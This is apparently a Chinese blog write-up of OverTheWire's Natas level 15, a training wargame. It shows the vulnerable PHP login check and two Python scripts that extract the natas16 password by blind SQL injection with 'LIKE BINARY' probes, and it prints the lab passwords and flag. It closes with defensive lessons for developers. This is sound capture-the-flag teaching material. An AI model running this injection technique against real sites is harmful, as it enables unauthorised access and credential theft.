Natas Wargame Level 15 Writeup(Content-based Blind SQL Injection)

sourcecode核心代码:

 1 <?
 2 
 3 /*
 4 CREATE TABLE `users` (
 5   `username` varchar(64) DEFAULT NULL,
 6   `password` varchar(64) DEFAULT NULL
 7 );
 8 */
 9 
10 if(array_key_exists("username", $_REQUEST)) {
11     $link = mysql_connect('localhost', 'natas15', '<censored>');
12     mysql_select_db('natas15', $link);
13     
14     $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
15     if(array_key_exists("debug", $_GET)) {
16         echo "Executing query: $query<br>";
17     }
18 
19     $res = mysql_query($query, $link);
20     if($res) {
21     if(mysql_num_rows($res) > 0) {
22         echo "This user exists.<br>";
23     } else {
24         echo "This user doesn't exist.<br>";
25     }
26     } else {
27         echo "Error in query.<br>";
28     }
29 
30     mysql_close($link);
31 } else {
32 ?>
33 
34 <form action="index.php" method="POST">
35 Username: <input name="username"><br>
36 <input type="submit" value="Check existence" />
37 </form>
38 <? } ?> 

sql语句为:SELECT * from users where username="username";
可以注入,但注入成功后并不能实现什么功能。如果查询“成功”,仅仅会显示This user exists.查询失败:This user doesn't exist.或者“Error in query.”。不能直接显示Natas16的密钥。

联想到表中可能有名为Natas16的username,经测试为真。所以现在的任务就是获得表中Natas16的password。

如何才能将输出联系到password?这里仅有的输出只是用户名是否存在,更向上一步的说,是是否能够查询到记录。

既然select Natas16 是肯定成立的,又因为已知密钥的长度和空间(大小写字母和数字),可以通过and + like逐一探测每一位的密钥。

以下是python脚本:

 1 import httplib2
 2 from urllib.parse import urlencode
 3 
 4 h = httplib2.Http()
 5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
 6 h.add_credentials('natas15', natas15password)
 7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
 8 password = ''
 9 index = 0
10 headers = {'Content-type': 'application/x-www-form-urlencoded'}
11 while (len(password) < len(natas15password)):
12     forms = dict(username= "natas16\"" + " and password like binary '" + password + basestr[index] + "%'" + " ;#")
13     print(forms)
14     resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php', 'POST', urlencode(forms), headers)
15     if ('exists' in str(content)):
16         password += basestr[index]
17         print(password)
18         index = 0
19         continue
20     else:
21         index = (index + 1) % (123-48)
22         if index == 0:
23             print('wrong!')
24         continue
25 print('password = ', password)

关于httplib2的说明:http://blog.csdn.net/five3/article/details/7079140

这里要注意几点:

1.urlencode已经不在urllib下了,需要使用urllib.parse.urlencode

2.mysql 查询默认对大小写不敏感,所以如果直接查寻会导致输出全部为大写或者小写。有两个解决方案。一个是使用BINARY将后面要查询的字符串转化为二进制。另 一个是使用COLLATE对指定排序。https://dev.mysql.com/doc/refman/5.7/en/binary- varbinary.html

3.POST也是先将数据进行URL编码然后发送,所以这里要用到URLencode。URL表参考:http://w3school.com.cn/tags/html_ref_urlencode.html

4.发送表单的话一定要把headers中的'Content-type': 'application/x-www-form-urlencoded'加上,因为服务器是通过这个判别body中的类型并进行读取的。(以后发现服务器没有读取body要先看看headers设置好没有)

另外还有一个思路,就是通过题目中留下的debug用GET进行注入与爆破:

 1 import httplib2
 2 from urllib.parse import urlencode
 3 
 4 h = httplib2.Http()
 5 natas15password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
 6 h.add_credentials('natas15', natas15password)
 7 basestr = list(chr(i) for i in range(48, 58))+list(chr(i) for i in range(65, 91))+list(chr(i) for i in range(97, 123))
 8 password = ''
 9 index = 0
10 while (len(password) < len(natas15password)):
11     forms = dict(username="natas16\"" + " and password like binary '" + password + basestr[index] + "%'" + ";#")
12     resp, content = h.request('http://natas15.natas.labs.overthewire.org/index.php?debug=1&'+urlencode(forms), 'GET')
13     if ('exists' in str(content)):
14         password += basestr[index]
15         print(password)
16         index = 0
17         continue
18     else:
19         index = (index + 1) % (123-48)
20         if index == 0:
21             print('wrong!')
22         continue
23 print('password = ', password)

这个时候就不需要设置Content-type了

总结:这个注入和往常的注入不同,往常的注入是通过插入 or 1等唯真式绕过认证。但这里并不是要绕过认证,而是通过注入将password与返回“用户是否存在”这一看起来没有泄露的信息绑定,最终暴力破解出用户密钥。由此可知,对用户返回的信息应当最低化(如返回用户或密码错误),对用户的输入应该做处理(如转义)。debug的时候留下的接口应该及时删除。

flag=WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

posted @ 2017-05-14 20:10  QiuhaoLi  阅读(261)  评论(0编辑  收藏  举报